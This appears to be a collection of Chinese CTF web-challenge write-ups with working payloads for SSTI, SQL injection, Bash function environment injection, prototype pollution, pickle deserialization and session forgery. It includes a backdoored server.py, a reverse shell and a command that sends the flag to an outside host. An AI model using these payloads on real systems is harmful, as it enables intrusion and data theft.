这里有个坑,也就是下面这句
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
如果我们想要给flask服务传入参数name=123,实际上要构造的是./flask?name=%3fname=123
解题 #
伪造session #
题目大概逻辑已经清楚了,首要问题就是如何去伪造session,也就是如何去得到SESSION_KEY
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
执行过程:设置了基于 Cookie 的会话存储,并使用环境变量中的 SESSION_KEY 值作为会话密钥
由于无法知道环境变量,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造
首先修改源码,如果name不为admin,将其值设置为admin
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
运行项目,得到cookie

MTc2MDE2NDkzNHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwDMbJdchmeMfKgOxGQfzey7x1MIffVDJq0aYYgPTOHNA==
访问/admin,bp抓包修改session

获取server.py #
访问/Flask,并且传参name为空(注意session得为admin)

<!doctype html>
<html lang=en>
<head>
<title>werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "poIzeBDqTdzm9zcH3zSC";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>BadRequestKeyError</h1>
<div class="detail">
<p class="errormsg">werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'
</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
<h3></h3>
<ul><li><div class="frame" id="frame-140683945690720">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">2213</em>,
in <code class="function">__call__</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>def __call__(self, environ: dict, start_response: t.Callable) -> t.Any:</pre>
<pre class="line before"><span class="ws"> </span>"""The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws"> </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws"> </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws"> </span>"""</pre>
<pre class="line current"><span class="ws"> </span>return self.wsgi_app(environ, start_response)</pre></div>
</div>
<li><div class="frame" id="frame-140683924474448">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">2193</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line before"><span class="ws"> </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line before"><span class="ws"> </span>error = e</pre>
<pre class="line current"><span class="ws"> </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws"> </span>raise</pre>
<pre class="line after"><span class="ws"> </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws"> </span>finally:</pre></div>
</div>
<li><div class="frame" id="frame-140683924474560">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">2190</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws"> </span>error: BaseException | None = None</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line current"><span class="ws"> </span>response = self.full_dispatch_request()</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>error = e</pre>
<pre class="line after"><span class="ws"> </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre></div>
</div>
<li><div class="frame" id="frame-140683924474672">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">1486</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line before"><span class="ws"> </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre>
<pre class="line after"><span class="ws"> </span>self,</pre>
<pre class="line after"><span class="ws"> </span>rv: ft.ResponseReturnValue | HTTPException,</pre></div>
</div>
<li><div class="frame" id="frame-140683924474784">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">1484</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.dispatch_request()</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre></div>
</div>
<li><div class="frame" id="frame-140683924474896">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">1469</em>,
in <code class="function">dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>and req.method == "OPTIONS"</pre>
<pre class="line before"><span class="ws"> </span>):</pre>
<pre class="line before"><span class="ws"> </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws"> </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line before"><span class="ws"> </span>view_args: dict[str, t.Any] = req.view_args # type: ignore[assignment]</pre>
<pre class="line current"><span class="ws"> </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def full_dispatch_request(self) -> Response:</pre>
<pre class="line after"><span class="ws"> </span>"""Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws"> </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws"> </span>error handling.</pre></div>
</div>
<li><div class="frame" id="frame-140683924475008">
<h4>File <cite class="filename">"/app/server.py"</cite>,
line <em class="line">7</em>,
in <code class="function">index</code></h4>
<div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>app = Flask(__name__)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>@app.route('/')</pre>
<pre class="line before"><span class="ws"></span>def index():</pre>
<pre class="line current"><span class="ws"> </span>name = request.args['name']</pre>
<pre class="line after"><span class="ws"> </span>return name + " no ssti"</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>if __name__ == "__main__":</pre>
<pre class="line after"><span class="ws"> </span>app.run(host="127.0.0.1", port=5000, debug=True)</pre></div>
</div>
<li><div class="frame" id="frame-140683924475232">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/werkzeug/datastructures/structures.py"</cite>,
line <em class="line">192</em>,
in <code class="function">__getitem__</code></h4>
<div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"> </span>if key in self:</pre>
<pre class="line before"><span class="ws"> </span>lst = dict.__getitem__(self, key)</pre>
<pre class="line before"><span class="ws"> </span>if len(lst) > 0:</pre>
<pre class="line before"><span class="ws"> </span>return lst[0]</pre>
<pre class="line current"><span class="ws"> </span>raise exceptions.BadRequestKeyError(key)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def __setitem__(self, key, value):</pre>
<pre class="line after"><span class="ws"> </span>"""Like :meth:`add` but removes an existing key first.</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>:param key: the key for the value.</pre></div>
</div>
</ul>
<blockquote>werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'
</blockquote>
</div>
<div class="plain">
<p>
This is the Copy/Paste friendly version of the traceback.
</p>
<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2213, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2193, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2190, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1484, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/app/server.py", line 7, in index
name = request.args['name']
File "/usr/local/lib/python3.9/dist-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'
</textarea>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span class="nojavascript">
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>
<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>
<!--
Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2213, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2193, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2190, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1484, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/app/server.py", line 7, in index
name = request.args['name']
File "/usr/local/lib/python3.9/dist-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'
-->
可以发现开启了debug,说明开启了热加载功能,允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。
pongo2模板引擎存在注入点,可以执行go的代码,可以先上传文件覆盖server.py,再访问/flask路由,来执行命令
构造payload #
使用gin包的SaveUploadedFile()进行文件上传
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
第一个获取表单中的文件,第二个参数为保存的目录
所以使用ssti的payload为
{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
双引号会被html.EscapeString转义进行编码,所以需要绕过,利用gin中的Context.HandlerName()
HandlerName
返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”
所以如果是在Admin()里,返回的就是main/route.Admin
然后配合过滤器last获取到最后一个字符串也就是文件名为n
还有一个Context.Request.Referer()Request.Referer,返回header里的Referer的值
可以在请求中的Referer的值添加为/app/server.py
所以构造最终payload
{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}
但是在数据包中添加请求头时还要添加 Content-Type 头
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
对于添加这个头的解释是:
对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时 生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要 使用 multipart/form-data 类型的请求体格式。
覆盖server.py #
访问./admin,数据包如下
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: env.xj.edisec.net:31615
Content-Length: 557
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTc0NjI5NzE1MHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyB3gBZcdfe5e_qdJ-l4J52IFLrFUmUYRhHGBMWQdyJKw==
Connection: close
------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/')
def index():
cmd = request.args['cmd']
res = os.popen(cmd).read()
return res + " no ssti"
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)
------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

上传成功
命令执行 #
接着访问Flask请求即可getshell,空格貌似被过滤了。用${IFS}代替
/flask?name=?cmd=cat${IFS}/flag

gs-awdjava #
代码审计 #
@Controller
public class AboutController {
@GetMapping({"/about"})
public String about(HttpSession session, @RequestParam(defaultValue = "") String type) {
String username = (String)session.getAttribute("name");
if (StringUtils.isEmpty(username))
return "about/tourist/about";
if (!type.equals(""))
return "about/" + type + "/about";
return "about/user/about";
}
}
首先有 thymeleaf ssti,type 可控, 而且 500 页面有错误回显, 拿 exp 直接打就行
/about?type=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22dir%22).getInputStream()).next()%7d__::.x
/about?type=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("ls").getInputStream()).next()}__::.x
/logout 路由存在任意方法调用
@Controller
public class LogOutController {
@GetMapping({"/logout"})
public String logout(HttpServletRequest request, HttpSession session, @RequestParam(defaultValue = "logout") String method, @RequestParam(defaultValue = "com.mengda.awd.Utils.SessionUtils") String targetclass) throws Exception {
Class<?> ObjectClass = Class.forName(targetclass);
Constructor<?> constructor = ObjectClass.getDeclaredConstructor(new Class[0]);
constructor.setAccessible(true);
Object CLassInstance = constructor.newInstance(new Object[0]);
try {
if (method.equals("logout")) {
Method targetMethod = ObjectClass.getMethod(method, new Class[] { HttpSession.class });
targetMethod.invoke(CLassInstance, new Object[] { session });
} else {
Method targetMethod = ObjectClass.getMethod(method, new Class[] { String.class });
targetMethod.invoke(CLassInstance, new Object[] { request.getHeader("X-Forwarded-For") });
}
} catch (Exception e) {
return "redirect:/";
}
return "redirect:/";
}
}
这个没有回显, 需要手动搭一个 http 或者随便其它什么东西来传一下 flag
/logout?targetclass=java.lang.Runtime&method=exec
需要设置XFF
'X-Forwarded-For': 'bash -c {echo,d2dldCBodHRwOi8vMTAxODYuZnJlZS5pZGNmZW5neWUuY29tLz9mbGFnPWBjYXQgL2ZsYWdg}|{base64,-d}|{bash,-i}'
Hard php #

在输入密码处尝试SQL注入发现存在黑名单过滤

尝试联合注入,布尔盲注和时间盲注都无结果
笛卡尔积注入 #
笛卡尔积注入主要是利用数据库在大量数据下进行笛卡尔积查询的时候计算需要一定的时间,便可以通过时延来判断给定条件是否正确。Mysql中information_schema.columns表存放所有表的字段,数据量极大,可以用于进行笛卡尔积延时注入。
常用payload:SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C
验证

可见Response延迟了3w多ms
上述payload用时极长,可以根据时限判断条件是否正确,条件判断用mysql的if。
if(expre1,expre2,expre3)
类似三目运算符expre1正确返回expre2否则返回expre3
构造盲注payload如下,其中空格,=均被过滤,用/**/和like替换
1'union select if((select password from users where username like 'admin') like 't%',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C),1)#
1'union/**/select/**/if((select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admin')/**/like/**/'t%',(SELECT/**/count(*)/**/FROM/**/information_schema.columns/**/A,/**/information_schema.columns/**/B,/**/information_schema.columns/**/C),1)#
如果admin的密码开头是t则进行笛卡尔积查询产生时延,否则无时延。
EXP #
import requests
import string
url = "http://env.xj.edisec.net:30184/login.php"
chars = string.printable.replace("%", "")
flag = ""
while True:
for char in chars:
payload = {
"username": "admin",
"password": f"1'union/**/select/**/if((select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admin')/**/like/**/'{flag + char}%',(SELECT/**/count(*)/**/FROM/**/information_schema.columns/**/A,/**/information_schema.columns/**/B,/**/information_schema.columns/**/C),1)#"
}
try:
r = requests.post(url, data=payload, timeout=5)
except requests.exceptions.RequestException:
flag += char
print(f"Current password: {flag}")
break

盲注得到admin的密码为this_is_a_strong_password,然后登录。

访问adca4977cb42016071530fb8888105c7.php

<?php
error_reporting(0);
highlight_file(__FILE__);
foreach ($_REQUEST['env'] as $key => $value) {
#遍历 $_REQUEST['env'] 数组:即来自 GET/POST/COOKIE 的 env 参数(例如 env[key]=value)。对 $key 与 $value 均没有做任何输入合法性检查(下一步仅对 $value 做 blacklist 检验)。
if (blacklist($value)) {
#调用 blacklist() 函数检查 $value。如果返回 true 则进入 if 分支(允许);否则进入 else(拒绝并输出“Hack!!!”)。
$a=putenv("{$key}={$value}");
#当 blacklist($value) 返回 true 时,执行 putenv,把字符串 "key=value" 设置为进程环境变量。
}else{
echo "Hack!!!";
}
}
function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|f|l|a|g|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\.|\'|\"|\\\\/is', $a) === 0){
return true;
}
else{
return false;
}
}
include "admin.php";
?>
admin.php
<?php
session_start();
if (!isset($_SESSION['user']['islogin'])){
// echo "<h1 style = 'text-align: center;'>对不起,您无权访问此界面,请登陆</h1>";
echo "<script>location='./index.php';</script>";
exit;
}
system('echo "This is a test page, but as an administrator, you can see the files in the current directory</h1>";ls');
环境变量注入 #
env[BASH_FUNC_echo%%]=() { id; }
是在 HTTP 请求中设置一个会被 bash 解释为名为 echo 的函数的环境变量 —— 该函数体内运行 id。

env[BASH_FUNC_echo%%]=() { dir /; }

env[BASH_FUNC_echo%%]=() { pr -T /*1*; }

hgame-week4-web-shared_diary #
代码审计 #
app.js
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.all("/login", (req, res) => {
if (req.method == 'POST') {
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data
// check password
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});
app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})
app.listen(8888, '0.0.0.0');
发现登录操作在验证密码之前,先调用了一下merge函数,将req.body的所有内容转移至data,而这个merge函数看似新增了一个if语句,将proto过滤,防止住了原型链污染,实则不然。其实变量除了内置proto之外,还内置了constructor属性,该属性是用于初始化变量的特殊方法,在该属性中包含prototype属性,而这个prototype属性指向的内容与proto是一致的。因此,我们可以以这个为突破口,实现原型链污染。
解题 #
首先将 user.role 设置为admin
手动修改 Content-Type 为 application/json,POST payload:


绕过权限控制后,进入 / 路由,而 ejs.render() 存在SSTI漏洞,通过控制diary的值实现RCE
{
"diary":"<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>"
}

mtgxs-web-easypickle #
代码审计 #
app.py
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
首先需要伪造admin的session进入/admin路由,使用flask-unsign爆破密钥
由于密钥是这样生成的app.config[‘SECRET_KEY’] = os.urandom(2).hex()
解题 #
爆破密钥
import os
## standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
## Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
## Lib for argument parsing
import argparse
## external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoibWlpYWEifQ.aQ2j8Q.wGwgdANx9vnf30bVDZesEWvxaK4', key)
# print(res)
if 'user' in str(res):
print(key)
exit()
得到密钥df94
使用https://github.com/noraj/flask-session-cookie-manager.git加密
python flask_session_cookie_manager3.py encode -s "df94" -t "{'user':'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.aQ2olQ.u22JlC7FgoVzx2XbR43quqqKcQQ
但是这里存在pickle反序列化漏洞:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
其实仔细观察代码,发现其实最终使用的反序列化数据并不是经过replace之后的a,而是从session中获得的
所以实际上我们经过replace之后的os还是小写的
我们可以使用pickle构造os.system去反弹shell
opcode = b"""(cos
system
S'bash -i >& /dev/tcp/free.idcfengye.com/10182 0>&1'
os.
"""
但是由于i被过滤了,所以我们需要进行绕过,我们可以使用V指令,V指令可以识别Unicode编码
这样就可以将反弹shell进行unicode编码绕过
opcode = b"""(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0066\u0072\u0065\u0065\u002e\u0069\u0064\u0063\u0066\u0065\u006e\u0067\u0079\u0065\u002e\u0063\u006f\u006d\u002f\u0031\u0030\u0031\u0038\u0032\u0020\u0030\u003e\u0026\u0031\u0022
os.
"""
首先是(向栈中压入一个MARK标记,然后c指令获取一个全局对象或import一个模块,则导入了os.system(),并压入栈中
接着V指令是实例化一个UNICODE字符串对象,并将其压入栈中,
然后执行o指令,寻找栈中的上一个MARK(就是我们第一个(),以之间的第一个数据(os.system())为callable,第二个到第n个数据为参数(这里就是反弹shell命令),执行该函数,就可以反弹shell
最后执行.结束反序列化
这里的s指令其实没有起到作用,只是为了凑一下(第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新)
写成这样才是正确的:
opcode = b"""(S'key1'
S'val1'
dS'vul'
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0066\u0072\u0065\u0065\u002e\u0069\u0064\u0063\u0066\u0065\u006e\u0067\u0079\u0065\u002e\u0063\u006f\u006d\u002f\u0031\u0030\u0031\u0038\u0032\u0020\u0030\u003e\u0026\u0031\u0022
os.
"""
exp
import base64
opcode = b"""(S'key1'
S'val1'
dS'vul'
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0066\u0072\u0065\u0065\u002e\u0069\u0064\u0063\u0066\u0065\u006e\u0067\u0079\u0065\u002e\u0063\u006f\u006d\u002f\u0031\u0030\u0031\u0038\u0032\u0020\u0030\u003e\u0026\u0031\u0022
os.
"""
print(base64.b64encode(opcode))
KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjNcdTAwMjBcdTAwMjJcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjlcdTAwMjBcdTAwM2VcdTAwMjZcdTAwMjBcdTAwMmZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMmZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMmZcdTAwNjZcdTAwNzJcdTAwNjVcdTAwNjVcdTAwMmVcdTAwNjlcdTAwNjRcdTAwNjNcdTAwNjZcdTAwNjVcdTAwNmVcdTAwNjdcdTAwNzlcdTAwNjVcdTAwMmVcdTAwNjNcdTAwNmZcdTAwNmRcdTAwMmZcdTAwMzFcdTAwMzBcdTAwMzFcdTAwMzhcdTAwMzJcdTAwMjBcdTAwMzBcdTAwM2VcdTAwMjZcdTAwMzFcdTAwMjIKb3MuCg==
得到payload,然后伪造cookie即可
